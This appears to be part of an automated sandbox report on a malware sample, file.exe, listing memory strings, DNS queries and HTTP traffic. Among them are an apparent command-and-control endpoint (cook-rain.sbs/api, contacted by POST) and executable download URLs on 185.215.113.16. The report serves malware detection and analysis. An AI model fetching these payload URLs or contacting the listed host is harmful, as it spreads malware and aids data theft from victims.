d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.facebook.com (Facebook)
Source: chromecache_95.6.dr, chromecache_105.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.linkedin.com (Linkedin)
Source: chromecache_95.6.dr, chromecache_105.6.dr	String found in binary or memory: </section>`}function Dce(e=tw,t=gp){return sl(M4,e,t)}function $ce(e=aw,t=sw){return sl(t4,e,t)}var vI=(s=>(s.facebook="facebook",s.twitter="twitter",s.linkedin="linkedin",s.email="email",s.weibo="weibo",s))(vI\|\|{}),LRe={facebook:"https://www.facebook.com/sharer/sharer.php?u={url}",twitter:"https://twitter.com/intent/tweet?original_referer={url}&text={achievementCopy}&tw_p=tweetbutton&url={url}",linkedin:"https://www.linkedin.com/feed/?shareActive=true&text={body}",email:"mailto:?subject={subject}&body={body}",weibo:"http://service.weibo.com/share/share.php?title={title}&url={url}"};function $x(e,t,o){let n=encodeURIComponent(t),r=new URL(e);r.hostname="learn.microsoft.com";let s=r.href+=(e.indexOf("?")!==-1?"&":"?")+"WT.mc_id=",i=L.sharingId?`&sharingId=${L.sharingId}`:"";return Object.values(vI).reduce((l,c)=>{if(_.data.isPermissioned)return l[c]="#",l;let d=encodeURIComponent(s+c+i),u=o?.achievementCopyTitle?.overrideTitle??t,p=encodeURIComponent(rQ.replace("{achievementTitle}",o?.achievementCopyTitle?.isUnquoted?`${u}`:`"${u}"`)),g={achievementCopy:p,url:d,title:n,body:`${p}${encodeURIComponent(` equals www.twitter.com (Twitter)

Source: global traffic	DNS traffic detected: DNS query: cook-rain.sbs
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: mdec.nelreports.net

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: cook-rain.sbs

Source: file.exe, 00000000.00000003.2395452545.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2491486497.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000002.2488292135.00000000004EA000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe0
Source: file.exe, file.exe, 00000000.00000003.2476625983.0000000000CEF000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2395452545.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2491486497.0000000000CF2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: file.exe, 00000000.00000003.2228334088.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2228334088.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2228334088.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2228334088.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2228334088.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2228334088.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2228334088.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.2476773279.0000000000D20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://go.mi7
Source: file.exe, 00000000.00000003.2228334088.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2228334088.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: chromecache_95.6.dr, chromecache_105.6.dr	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chromecache_95.6.dr, chromecache_105.6.dr	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chromecache_95.6.dr, chromecache_105.6.dr	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chromecache_95.6.dr, chromecache_105.6.dr	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chromecache_113.6.dr	String found in binary or memory: http://schema.org/Organization
Source: file.exe, 00000000.00000003.2228334088.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2228334088.00000000056FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: sets.json.4.dr	String found in binary or memory: https://07c225f3.online
Source: sets.json.4.dr	String found in binary or memory: https://24.hu
Source: sets.json.4.dr	String found in binary or memory: https://aajtak.in
Source: sets.json.4.dr	String found in binary or memory: https://abczdrowie.pl
Source: file.exe, 00000000.00000003.2195548372.000000000563B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chromecache_95.6.dr, chromecache_105.6.dr	String found in binary or memory: https://aka.ms/MSIgniteChallenge/Tier1Banner?wt.mc_id=ignite24_learnbanner_tier1_cnl
Source: chromecache_95.6.dr, chromecache_105.6.dr	String found in binary or memory: https://aka.ms/certhelp
Source: chromecache_113.6.dr, chromecache_114.6.dr, chromecache_80.6.dr	String found in binary or memory: https://aka.ms/feedback/report?space=61
Source: chromecache_95.6.dr, chromecache_105.6.dr	String found in binary or memory: https://aka.ms/msignite_docs_banner
Source: chromecache_95.6.dr, chromecache_105.6.dr	String found in binary or memory: https://aka.ms/pshelpmechoose
Source: chromecache_113.6.dr	String found in binary or memory: https://aka.ms/yourcaliforniaprivacychoices
Source: sets.json.4.dr	String found in binary or memory: https://alice.tw
Source: sets.json.4.dr	String found in binary or memory: https://ambitionbox.com
Source: chromecache_113.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/69c76c32-967e-4c65-b89a-74cc527db725
Source: chromecache_113.6.dr	String found in binary or memory: https://authoring-docs-microsoft.poolparty.biz/devrel/7696cda6-0510-47f6-8302-71bb5d2e28cf
Source: sets.json.4.dr	String found in binary or memory: https://autobild.de
Source: chromecache_95.6.dr, chromecache_105.6.dr	String found in binary or memory: https://aznb-ame-prod.azureedge.net/component/$
Source: sets.json.4.dr	String found in binary or memory: https://baomoi.com
Source: sets.json.4.dr	String found in binary or memory: https://bild.de
Source: sets.json.4.dr	String found in binary or memory: https://blackrock.com
Source: sets.json.4.dr	String found in binary or memory: https://blackrockadvisorelite.it
Source: sets.json.4.dr	String found in binary or memory: https://bluradio.com
Source: sets.json.4.dr	String found in binary or memory: https://bolasport.com
Source: sets.json.4.dr	String found in binary or memory: https://bonvivir.com
Source: sets.json.4.dr	String found in binary or memory: https://bumbox.com
Source: sets.json.4.dr	String found in binary or memory: https://businessinsider.com.pl
Source: sets.json.4.dr	String found in binary or memory: https://businesstoday.in
Source: sets.json.4.dr	String found in binary or memory: https://cachematrix.com
Source: sets.json.4.dr	String found in binary or memory: https://cafemedia.com
Source: sets.json.4.dr	String found in binary or memory: https://caracoltv.com
Source: sets.json.4.dr	String found in binary or memory: https://carcostadvisor.be
Source: sets.json.4.dr	String found in binary or memory: https://carcostadvisor.com
Source: sets.json.4.dr	String found in binary or memory: https://carcostadvisor.fr
Source: sets.json.4.dr	String found in binary or memory: https://cardsayings.net
Source: file.exe, 00000000.00000003.2195548372.000000000563B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2195548372.000000000563B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2195548372.000000000563B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chromecache_95.6.dr, chromecache_105.6.dr	String found in binary or memory: https://channel9.msdn.com/
Source: sets.json.4.dr	String found in binary or memory: https://chatbot.com
Source: sets.json.4.dr	String found in binary or memory: https://chennien.com
Source: sets.json.4.dr	String found in binary or memory: https://citybibleforum.org
Source: sets.json.4.dr	String found in binary or memory: https://clarosports.com
Source: chromecache_95.6.dr, chromecache_105.6.dr	String found in binary or memory: https://client-api.arkoselabs.com/v2/api.js
Source: sets.json.4.dr	String found in binary or memory: https://clmbtech.com
Source: sets.json.4.dr	String found in binary or memory: https://closeronline.co.uk
Source: sets.json.4.dr	String found in binary or memory: https://clubelpais.com.uy
Source: sets.json.4.dr	String found in binary or memory: https://cmxd.com.mx
Source: sets.json.4.dr	String found in binary or memory: https://cognitive-ai.ru
Source: sets.json.4.dr	String found in binary or memory: https://cognitiveai.ru
Source: sets.json.4.dr	String found in binary or memory: https://commentcamarche.com
Source: sets.json.4.dr	String found in binary or memory: https://commentcamarche.net
Source: sets.json.4.dr	String found in binary or memory: https://computerbild.de
Source: sets.json.4.dr	String found in binary or memory: https://content-loader.com
Source: file.exe, 00000000.00000003.2212230028.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/
Source: file.exe, 00000000.00000003.2212230028.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2242595329.00000000055FA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2227605046.00000000055FD000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2242926982.00000000055FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: file.exe, 00000000.00000003.2212230028.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apiBitwar
Source: file.exe, 00000000.00000003.2242595329.00000000055FA000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2242926982.00000000055FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apitcy
Source: file.exe, 00000000.00000003.2194643037.0000000000D07000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2194690637.0000000000D0A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/q
Source: file.exe, 00000000.00000003.2212230028.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/v
Source: sets.json.4.dr	String found in binary or memory: https://cookreactor.com
Source: sets.json.4.dr	String found in binary or memory: https://cricbuzz.com
Source: sets.json.4.dr	String found in binary or memory: https://css-load.com
Source: sets.json.4.dr	String found in binary or memory: https://deccoria.pl
Source: sets.json.4.dr	String found in binary or memory: https://deere.com
Source: sets.json.4.dr	String found in binary or memory: https://desimartini.com
Source: sets.json.4.dr	String found in binary or memory: https://dewarmsteweek.be
Source: sets.json.4.dr	String found in binary or memory: https://drimer.io
Source: sets.json.4.dr	String found in binary or memory: https://drimer.travel
Source: file.exe, 00000000.00000003.2195548372.000000000563B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: file.exe, 00000000.00000003.2195548372.000000000563B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000003.2195548372.000000000563B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: sets.json.4.dr	String found in binary or memory: https://economictimes.com
Source: sets.json.4.dr	String found in binary or memory: https://een.be
Source: sets.json.4.dr	String found in binary or memory: https://efront.com
Source: sets.json.4.dr	String found in binary or memory: https://eleconomista.net
Source: sets.json.4.dr	String found in binary or memory: https://elfinancierocr.com
Source: sets.json.4.dr	String found in binary or memory: https://elgrafico.com
Source: sets.json.4.dr	String found in binary or memory: https://ella.sv
Source: sets.json.4.dr	String found in binary or memory: https://elpais.com.uy
Source: sets.json.4.dr	String found in binary or memory: https://elpais.uy
Source: sets.json.4.dr	String found in binary or memory: https://etfacademy.it
Source: sets.json.4.dr	String found in binary or memory: https://eworkbookcloud.com
Source: sets.json.4.dr	String found in binary or memory: https://eworkbookrequest.com
Source: sets.json.4.dr	String found in binary or memory: https://fakt.pl
Source: sets.json.4.dr	String found in binary or memory: https://finn.no
Source: sets.json.4.dr	String found in binary or memory: https://firstlook.biz
Source: sets.json.4.dr	String found in binary or memory: https://gallito.com.uy
Source: sets.json.4.dr	String found in binary or memory: https://geforcenow.com
Source: sets.json.4.dr	String found in binary or memory: https://gettalkdesk.com
Source: chromecache_113.6.dr	String found in binary or memory: https://github.com/Thraka
Source: chromecache_113.6.dr	String found in binary or memory: https://github.com/Youssef1313
Source: chromecache_113.6.dr	String found in binary or memory: https://github.com/adegeo
Source: chromecache_113.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/17c4acca45e573a92878a44a2cce57d699fe9c7c/docs/framework/install/
Source: chromecache_113.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/live/docs/framework/install/application-not-started.md
Source: chromecache_113.6.dr	String found in binary or memory: https://github.com/dotnet/docs/blob/main/docs/framework/install/application-not-started.md
Source: chromecache_113.6.dr	String found in binary or memory: https://github.com/dotnet/docs/issues/new?template=z-customer-feedback.yml
Source: chromecache_95.6.dr, chromecache_105.6.dr	String found in binary or memory: https://github.com/dotnet/try
Source: chromecache_113.6.dr	String found in binary or memory: https://github.com/gewarren
Source: chromecache_95.6.dr, chromecache_105.6.dr	String found in binary or memory: https://github.com/jonschlinkert/is-plain-object
Source: chromecache_95.6.dr, chromecache_105.6.dr	String found in binary or memory: https://github.com/js-cookie/js-cookie
Source: chromecache_113.6.dr	String found in binary or memory: https://github.com/mairaw
Source: chromecache_113.6.dr	String found in binary or memory: https://github.com/nschonni
Source: sets.json.4.dr	String found in binary or memory: https://gliadomain.com
Source: sets.json.4.dr	String found in binary or memory: https://gnttv.com
Source: sets.json.4.dr	String found in binary or memory: https://graziadaily.co.uk
Source: sets.json.4.dr	String found in binary or memory: https://grid.id
Source: sets.json.4.dr	String found in binary or memory: https://gridgames.app
Source: sets.json.4.dr	String found in binary or memory: https://growthrx.in
Source: sets.json.4.dr	String found in binary or memory: https://grupolpg.sv
Source: sets.json.4.dr	String found in binary or memory: https://gujaratijagran.com
Source: sets.json.4.dr	String found in binary or memory: https://hapara.com
Source: sets.json.4.dr	String found in binary or memory: https://hazipatika.com
Source: sets.json.4.dr	String found in binary or memory: https://hc1.com
Source: sets.json.4.dr	String found in binary or memory: https://hc1.global
Source: sets.json.4.dr	String found in binary or memory: https://hc1cas.com
Source: sets.json.4.dr	String found in binary or memory: https://hc1cas.global
Source: sets.json.4.dr	String found in binary or memory: https://healthshots.com
Source: sets.json.4.dr	String found in binary or memory: https://hearty.app
Source: sets.json.4.dr	String found in binary or memory: https://hearty.gift
Source: sets.json.4.dr	String found in binary or memory: https://hearty.me
Source: sets.json.4.dr	String found in binary or memory: https://heartymail.com
Source: sets.json.4.dr	String found in binary or memory: https://heatworld.com
Source: sets.json.4.dr	String found in binary or memory: https://helpdesk.com
Source: sets.json.4.dr	String found in binary or memory: https://hindustantimes.com
Source: sets.json.4.dr	String found in binary or memory: https://hj.rs
Source: sets.json.4.dr	String found in binary or memory: https://hjck.com
Source: sets.json.4.dr	String found in binary or memory: https://html-load.cc
Source: sets.json.4.dr	String found in binary or memory: https://html-load.com
Source: sets.json.4.dr	String found in binary or memory: https://human-talk.org
Source: sets.json.4.dr	String found in binary or memory: https://idbs-cloud.com
Source: sets.json.4.dr	String found in binary or memory: https://idbs-dev.com
Source: sets.json.4.dr	String found in binary or memory: https://idbs-eworkbook.com
Source: sets.json.4.dr	String found in binary or memory: https://idbs-staging.com
Source: sets.json.4.dr	String found in binary or memory: https://img-load.com
Source: sets.json.4.dr	String found in binary or memory: https://indiatimes.com
Source: sets.json.4.dr	String found in binary or memory: https://indiatoday.in
Source: sets.json.4.dr	String found in binary or memory: https://indiatodayne.in
Source: sets.json.4.dr	String found in binary or memory: https://infoedgeindia.com
Source: sets.json.4.dr	String found in binary or memory: https://interia.pl
Source: sets.json.4.dr	String found in binary or memory: https://intoday.in
Source: sets.json.4.dr	String found in binary or memory: https://iolam.it
Source: sets.json.4.dr	String found in binary or memory: https://ishares.com
Source: sets.json.4.dr	String found in binary or memory: https://jagran.com
Source: sets.json.4.dr	String found in binary or memory: https://johndeere.com
Source: sets.json.4.dr	String found in binary or memory: https://journaldesfemmes.com
Source: sets.json.4.dr	String found in binary or memory: https://journaldesfemmes.fr
Source: sets.json.4.dr	String found in binary or memory: https://journaldunet.com
Source: sets.json.4.dr	String found in binary or memory: https://journaldunet.fr
Source: sets.json.4.dr	String found in binary or memory: https://joyreactor.cc
Source: sets.json.4.dr	String found in binary or memory: https://joyreactor.com
Source: chromecache_113.6.dr	String found in binary or memory: https://js.monitor.azure.com/scripts/c/ms.jsll-4.min.js
Source: sets.json.4.dr	String found in binary or memory: https://kaksya.in
Source: sets.json.4.dr	String found in binary or memory: https://knowledgebase.com
Source: sets.json.4.dr	String found in binary or memory: https://kompas.com
Source: sets.json.4.dr	String found in binary or memory: https://kompas.tv
Source: sets.json.4.dr	String found in binary or memory: https://kompasiana.com
Source: sets.json.4.dr	String found in binary or memory: https://lanacion.com.ar
Source: sets.json.4.dr	String found in binary or memory: https://landyrev.com
Source: sets.json.4.dr	String found in binary or memory: https://landyrev.ru
Source: sets.json.4.dr	String found in binary or memory: https://laprensagrafica.com
Source: sets.json.4.dr	String found in binary or memory: https://lateja.cr
Source: chromecache_95.6.dr, chromecache_105.6.dr	String found in binary or memory: https://learn-video.azurefd.net/vod/player
Source: sets.json.4.dr	String found in binary or memory: https://libero.it
Source: sets.json.4.dr	String found in binary or memory: https://linternaute.com
Source: sets.json.4.dr	String found in binary or memory: https://linternaute.fr
Source: sets.json.4.dr	String found in binary or memory: https://livechat.com
Source: sets.json.4.dr	String found in binary or memory: https://livechatinc.com
Source: sets.json.4.dr	String found in binary or memory: https://livehindustan.com
Source: sets.json.4.dr	String found in binary or memory: https://livemint.com
Source: chromecache_95.6.dr, chromecache_105.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/consoles/default?api-version=2017-12-01-prev
Source: chromecache_95.6.dr, chromecache_105.6.dr	String found in binary or memory: https://management.azure.com/providers/Microsoft.Portal/userSettings/cloudconsole?api-version=2023-0
Source: chromecache_95.6.dr, chromecache_105.6.dr	String found in binary or memory: https://management.azure.com/subscriptions?api-version=2016-06-01
Source: sets.json.4.dr	String found in binary or memory: https://max.auto
Source: sets.json.4.dr	String found in binary or memory: https://medonet.pl
Source: sets.json.4.dr	String found in binary or memory: https://meo.pt
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.cl
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.co.cr
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com.ar
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com.bo
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com.co
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com.do
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com.ec
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com.gt
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com.hn
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com.mx
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com.ni
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com.pa
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com.pe
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com.py
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com.sv
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com.uy
Source: sets.json.4.dr	String found in binary or memory: https://mercadolibre.com.ve
Source: sets.json.4.dr	String found in binary or memory: https://mercadolivre.com
Source: sets.json.4.dr	String found in binary or memory: https://mercadolivre.com.br
Source: sets.json.4.dr	String found in binary or memory: https://mercadopago.cl
Source: sets.json.4.dr	String found in binary or memory: https://mercadopago.com
Source: sets.json.4.dr	String found in binary or memory: https://mercadopago.com.ar
Source: sets.json.4.dr	String found in binary or memory: https://mercadopago.com.br
Source: sets.json.4.dr	String found in binary or memory: https://mercadopago.com.co
Source: sets.json.4.dr	String found in binary or memory: https://mercadopago.com.ec
Source: sets.json.4.dr	String found in binary or memory: https://mercadopago.com.mx
Source: sets.json.4.dr	String found in binary or memory: https://mercadopago.com.pe
Source: sets.json.4.dr	String found in binary or memory: https://mercadopago.com.uy
Source: sets.json.4.dr	String found in binary or memory: https://mercadopago.com.ve
Source: sets.json.4.dr	String found in binary or memory: https://mercadoshops.cl
Source: sets.json.4.dr	String found in binary or memory: https://mercadoshops.com
Source: sets.json.4.dr	String found in binary or memory: https://mercadoshops.com.ar
Source: sets.json.4.dr	String found in binary or memory: https://mercadoshops.com.br
Source: sets.json.4.dr	String found in binary or memory: https://mercadoshops.com.co
Source: sets.json.4.dr	String found in binary or memory: https://mercadoshops.com.mx
Source: sets.json.4.dr	String found in binary or memory: https://mighty-app.appspot.com
Source: sets.json.4.dr	String found in binary or memory: https://mightytext.net
Source: sets.json.4.dr	String found in binary or memory: https://mittanbud.no
Source: sets.json.4.dr	String found in binary or memory: https://money.pl
Source: sets.json.4.dr	String found in binary or memory: https://motherandbaby.com
Source: sets.json.4.dr	String found in binary or memory: https://mystudentdashboard.com
Source: sets.json.4.dr	String found in binary or memory: https://nacion.com
Source: sets.json.4.dr	String found in binary or memory: https://naukri.com
Source: sets.json.4.dr	String found in binary or memory: https://nidhiacademyonline.com
Source: sets.json.4.dr	String found in binary or memory: https://nien.co
Source: sets.json.4.dr	String found in binary or memory: https://nien.com
Source: sets.json.4.dr	String found in binary or memory: https://nien.org
Source: sets.json.4.dr	String found in binary or memory: https://nlc.hu
Source: sets.json.4.dr	String found in binary or memory: https://nosalty.hu
Source: sets.json.4.dr	String found in binary or memory: https://noticiascaracol.com
Source: sets.json.4.dr	String found in binary or memory: https://nourishingpursuits.com
Source: sets.json.4.dr	String found in binary or memory: https://nvidia.com
Source: sets.json.4.dr	String found in binary or memory: https://o2.pl
Source: sets.json.4.dr	String found in binary or memory: https://ocdn.eu
Source: chromecache_95.6.dr, chromecache_105.6.dr	String found in binary or memory: https://octokit.github.io/rest.js/#throttling
Source: sets.json.4.dr	String found in binary or memory: https://onet.pl
Source: sets.json.4.dr	String found in binary or memory: https://ottplay.com
Source: sets.json.4.dr	String found in binary or memory: https://p106.net
Source: sets.json.4.dr	String found in binary or memory: https://p24.hu
Source: sets.json.4.dr	String found in binary or memory: https://paula.com.uy
Source: sets.json.4.dr	String found in binary or memory: https://pdmp-apis.no
Source: sets.json.4.dr	String found in binary or memory: https://phonandroid.com
Source: sets.json.4.dr	String found in binary or memory: https://player.pl
Source: sets.json.4.dr	String found in binary or memory: https://plejada.pl
Source: sets.json.4.dr	String found in binary or memory: https://poalim.site
Source: sets.json.4.dr	String found in binary or memory: https://poalim.xyz
Source: sets.json.4.dr	String found in binary or memory: https://pomponik.pl
Source: sets.json.4.dr	String found in binary or memory: https://portalinmobiliario.com
Source: sets.json.4.dr	String found in binary or memory: https://prisjakt.no
Source: sets.json.4.dr	String found in binary or memory: https://pudelek.pl
Source: sets.json.4.dr	String found in binary or memory: https://punjabijagran.com
Source: sets.json.4.dr	String found in binary or memory: https://radio1.be
Source: sets.json.4.dr	String found in binary or memory: https://radio2.be
Source: sets.json.4.dr	String found in binary or memory: https://reactor.cc
Source: sets.json.4.dr	String found in binary or memory: https://repid.org
Source: sets.json.4.dr	String found in binary or memory: https://reshim.org
Source: sets.json.4.dr	String found in binary or memory: https://rws1nvtvt.com
Source: sets.json.4.dr	String found in binary or memory: https://rws2nvtvt.com
Source: sets.json.4.dr	String found in binary or memory: https://rws3nvtvt.com
Source: sets.json.4.dr	String found in binary or memory: https://sackrace.ai
Source: sets.json.4.dr	String found in binary or memory: https://salemoveadvisor.com
Source: sets.json.4.dr	String found in binary or memory: https://salemovefinancial.com
Source: sets.json.4.dr	String found in binary or memory: https://salemovetravel.com
Source: sets.json.4.dr	String found in binary or memory: https://samayam.com
Source: sets.json.4.dr	String found in binary or memory: https://sapo.io
Source: sets.json.4.dr	String found in binary or memory: https://sapo.pt
Source: chromecache_105.6.dr	String found in binary or memory: https://schema.org
Source: sets.json.4.dr	String found in binary or memory: https://shock.co
Source: sets.json.4.dr	String found in binary or memory: https://smaker.pl
Source: sets.json.4.dr	String found in binary or memory: https://smoney.vn
Source: sets.json.4.dr	String found in binary or memory: https://smpn106jkt.sch.id
Source: sets.json.4.dr	String found in binary or memory: https://socket-to-me.vip
Source: sets.json.4.dr	String found in binary or memory: https://songshare.com
Source: sets.json.4.dr	String found in binary or memory: https://songstats.com
Source: sets.json.4.dr	String found in binary or memory: https://sporza.be
Source: sets.json.4.dr	String found in binary or memory: https://standardsandpraiserepurpose.com
Source: sets.json.4.dr	String found in binary or memory: https://startlap.hu
Source: sets.json.4.dr	String found in binary or memory: https://startupislandtaiwan.com
Source: sets.json.4.dr	String found in binary or memory: https://startupislandtaiwan.net
Source: sets.json.4.dr	String found in binary or memory: https://startupislandtaiwan.org
Source: sets.json.4.dr	String found in binary or memory: https://stripe.com
Source: sets.json.4.dr	String found in binary or memory: https://stripe.network
Source: sets.json.4.dr	String found in binary or memory: https://stripecdn.com
Source: sets.json.4.dr	String found in binary or memory: https://supereva.it
Source: file.exe, 00000000.00000003.2229717694.0000000005911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: file.exe, 00000000.00000003.2229717694.0000000005911000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: sets.json.4.dr	String found in binary or memory: https://takeabreak.co.uk
Source: sets.json.4.dr	String found in binary or memory: https://talkdeskqaid.com
Source: sets.json.4.dr	String found in binary or memory: https://talkdeskstgid.com
Source: sets.json.4.dr	String found in binary or memory: https://teacherdashboard.com
Source: sets.json.4.dr	String found in binary or memory: https://technology-revealed.com
Source: sets.json.4.dr	String found in binary or memory: https://terazgotuje.pl
Source: sets.json.4.dr	String found in binary or memory: https://text.com
Source: sets.json.4.dr	String found in binary or memory: https://textyserver.appspot.com
Source: sets.json.4.dr	String found in binary or memory: https://the42.ie
Source: sets.json.4.dr	String found in binary or memory: https://thejournal.ie
Source: sets.json.4.dr	String found in binary or memory: https://thirdspace.org.au
Source: sets.json.4.dr	String found in binary or memory: https://timesinternet.in
Source: sets.json.4.dr	String found in binary or memory: https://timesofindia.com
Source: sets.json.4.dr	String found in binary or memory: https://tolteck.app
Source: sets.json.4.dr	String found in binary or memory: https://tolteck.com
Source: sets.json.4.dr	String found in binary or memory: https://top.pl
Source: sets.json.4.dr	String found in binary or memory: https://tribunnews.com
Source: sets.json.4.dr	String found in binary or memory: https://trytalkdesk.com
Source: sets.json.4.dr	String found in binary or memory: https://tucarro.com
Source: sets.json.4.dr	String found in binary or memory: https://tucarro.com.co
Source: sets.json.4.dr	String found in binary or memory: https://tucarro.com.ve
Source: sets.json.4.dr	String found in binary or memory: https://tvid.in
